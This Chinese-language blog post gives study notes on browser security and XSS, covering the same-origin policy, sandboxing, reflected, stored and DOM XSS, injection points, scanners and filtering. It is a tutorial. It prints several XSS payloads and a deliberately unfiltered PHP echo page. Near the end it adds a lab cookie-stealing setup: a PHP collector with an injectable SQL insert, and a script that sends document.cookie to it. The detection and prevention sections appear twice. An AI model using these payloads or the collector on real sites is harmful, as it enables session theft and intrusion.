浏览器安全与XSS漏洞


整站分析:操作系统 Web容器,用什么数据库搭建的。例如根据该数据库的特点或者缺陷进行渗透测试。

浏览器安全测试

​ 作为浏览器厂商竞争的底牌。Google在安全方面目前比较有优势。

1.同源策略

协议(http)、域名、端口(没有指明就是80端口)、子域名 一样属于同源。

1.1意义

限制不同源的脚本对当前网站进行修改,防止两个网站之间互相干扰。避免掐架。不同源"document"不能访问、

1.2目的

​ 保护用户信息安全,比如用户登录银行网站,又去访问其他网站。其他网站只能使用自己的cookie,不能访问银行网站的cookie。

1.3注意

a.com通过以下代码
    <script src = http://b.com/b.js></script>
    加载了b.com上的b.js,但是b.js是运行在a.com页面中的,因此对于当前打开的页面(a.com)来说,b.js的Origin就应该是a.com而非b.com

​ 浏览器哪些标签可以跨域加载资源?

​ < script> <img> <iframe> < link> 等标签可以加载跨域资源。不受同源策略的限制。但浏览器会限制脚本发起的跨域请求。

​ 那些会受到限制?

​ DOM、Cookie。XMLHttpRequest

​ 第三方插件也有控制策略:

​ Flash、JavaApplet(嵌入到网页中java编写),主要通过目标网站提供的crossdomain.xml判断是否允许当前源的Flash跨域访问目标资源。

<cross-domain-policy>
    子节点 允许从哪里访问  
    <allow-access-from domain=“*.qq.com”/>  允许qq下的可以访问b网站
    <allow-access-from domain=“*.gtimg.com”/>
    
</ cross-domain-policy >
site-control 也是子节点
如果别的目录也有相同文件,这个节点下有不同的值。如果是none,任何源不许访问。
all任何文件可以访问。这样上传目录也可以访问

攻击者可以通过上传crossdomain.xml 来控制flash,flash9以后通过MINE来判断xml是否合法,会检查是否在根目录下。

​ Silverlight(微软的快浏览器插件交互式应用)、

​ Google Gears(浏览器拓展插件,可以让脚本访问本地缓存)

​ 同源策略也会有漏洞。

2.浏览器沙箱

​ 挂马:在网页中插入一段恶意代码,利用浏览器漏洞执行任意代码的攻击方式,被称为“挂马”。

​ 沙箱:资源隔离类模块。

2.2设计目的

​ 让不可信的代码运行在隔离区中,限制访问隔离区外的资源。

​ 如果要交换数据,只能通过指定的数据通道。

2.3多进程架构

​ 将浏览器的各个功能模块分开,各个浏览器实例分开,一个进程崩溃不会影响其他。

​ Chrome第一个采用多进程架构:浏览器进程、渲染进程、插件进程、拓展进程等。(互相隔离,通过特定API通讯)

​ 如flash,java,pdf相互隔离。

2.4好处

​ 崩溃只影响一个页面。

​ 但也不一定安全,(flash\pdf\java)第三方插件出现安全漏洞,也会成为攻击热点。

三.恶意网站拦截

1.别的威胁

​ 钓鱼网站(浏览器要提示危险)、诈骗网站。目前拦截功能是基于“黑名单”。访问浏览器的服务端上的“黑名单”。

​ 挂马网站:携带恶意脚本。

​ 浏览器会与专业安全厂商合作,由安全厂商提供黑名单。Google和微软由自己的安全团队。

​ EVSSL证书,在地址栏显示绿色。让消费者确信网站安全。

跨站脚本(XSS)漏洞

1.介绍

XSS 跨站脚本攻击,最常见的Web应用程序漏洞之一。通常由JS编写,XSS带有恶意代码。可以盗取cookie,黑掉页面,导航到恶意网站。

​ 蠕虫:攻击者发布一个带有恶意代码的链接,用户点击后自动关注一个用户,并自动发微博和私信好友恶意链接。传播速度很快。

​ 阎罗王病毒:也是一种蠕虫病毒,用JS编写,向雅虎邮箱发送邮件,只要用户打开邮件,电脑会被感染。(其他病毒打开附件才会感染)感染后自动向其他人发邮件。

2.xss原理

​ 在一个有xss漏洞的网站让这个代码执行就可以了。如果网站没有过滤,那么用户可以输入这个代码。实现攻击。

'><script>alert('XSS')</script>

2.1反射性XSS

​ 非持久型、参数型跨站脚本,这类型的脚本最常见的,也是使用最为广泛的一种。可以将恶意的脚本附加到URL地址的参数
例如:

http://www.xxcc.com/search.php?key=“><script>alert(“xss”)</script>

​ 一般使用将构造好的URL发给受害者,使受害者点击触发,而且只执行一次,非持久化或者将恶意脚本附加到带参数的输出函数中

<html>
	<body> 
		<head> 
			<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
			<title>XSS</title> 
		</head> 
		<form action="" method="get"> 
			<input type="text" name="input">     
			<input type="submit"> 
		</form> 
		<br> 
		<?php 
		$XssReflex = $_GET['input'];
		echo 'output:<br>'.$XssReflex;
		?> 
	</body> 
</html> 

输入:1,hello,<script>alert('xss')</script>

2.2存储型XSS

​ 什么是存储型XSS?

​ 存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本。当用户提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。

​ 存储型XSS与反射型XSS、DOM型XSS相比,具有更高的隐蔽性,危害性也更大。反射型XSS、DOM型XSS执行必须依靠用户手动去触发,而存储型XSS却不需要。

​ 允许用户存储数据Web应用程序都可能会出现存储型XSS漏洞。

2.3DOM XSS

​ DOM :Document Object Model,文档对象模型
​ DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。
​ DOM XSS
通过JavaScript修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

为什么很多输入的代码要带 ‘ ,这个是脚本注入点。是为了闭合HTML文件中操作的单引号。

3.XSS脚本注入点

​ 进行XSS脚本注入时,在不同的注入点进行注入,会产生不同的结果。

对于大多数HTML标签而言,如果插入点就在标签之间,那么是可以直接运行js脚本的,如<div>标签。
对于<title><iframe><noscript><noframes>等标签,会对标签之间的内容进行htmlencode编码,需要闭合标签。
插入点在value值内,如<input type=“text” value=“[输出]”>,需要让js代码跳出value值,并且想办法执行

    
<title>
    <script>alert(1)</script>
</title> 这个不会执行脚本内容
    
<title></title>
    <script>alert(1)</script>    
</title>这个可以执行alert
    

	当type类型在前,且为hidden型时,就无法使用onmouseover方法了,可以使用关闭标签的方法。如:
<input type="hidden" value=""><script>alert(1)</script>" 
	当type类型在value后,为hidden时,HTML代码有一个特性,当标签中存在两个type属性时,第二个type属性就会失效,因此我们只要插入一个type="text",问题就容易解决了。
    
<input value="" onmouseover=alert(1)  type="text" type="hidden">第二个type属性失效,
    
    利用这一点输入:		" οnmοuseοver=alert(1)  type="text
    
<input value=""/><script>alert(1)</script>" type="hidden">
    

4.检测 XSS

手工检测输入< > ’

和全自动检测 借助工具

awvs
netsparke
appscan
burpsuit

5.XSS漏洞防范

​ XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤,在页面执行JavaScript等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞。

4.检测 XSS

手工检测输入< > ’

和全自动检测 借助工具

awvs
netsparke
appscan
burpsuit

5.XSS漏洞防范

​ XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤,在页面执行JavaScript等客户端脚本,这就意味着只要将敏感字符过滤,即可修补XSS跨站漏洞。

1.XSS窃取cookie

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');
    $ipaddress=getenv ('REMOTE_ADDR');
    $cookie=$_GET['cookie'];
    $referer=$_SERVER['HTTP_REFERER'];
    $useragent=$_SERVER['HTTP_USER_AGENT'];
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://localhost/pikachu-master/index.php");//重定向到一个可信的网站

?>

​ 将恶意代码输入到网站input标签中。

<script>document.location = 'http://127.0.0.1/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

​ 用户被重定向到首页,但是用户的cookie已经被获取。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值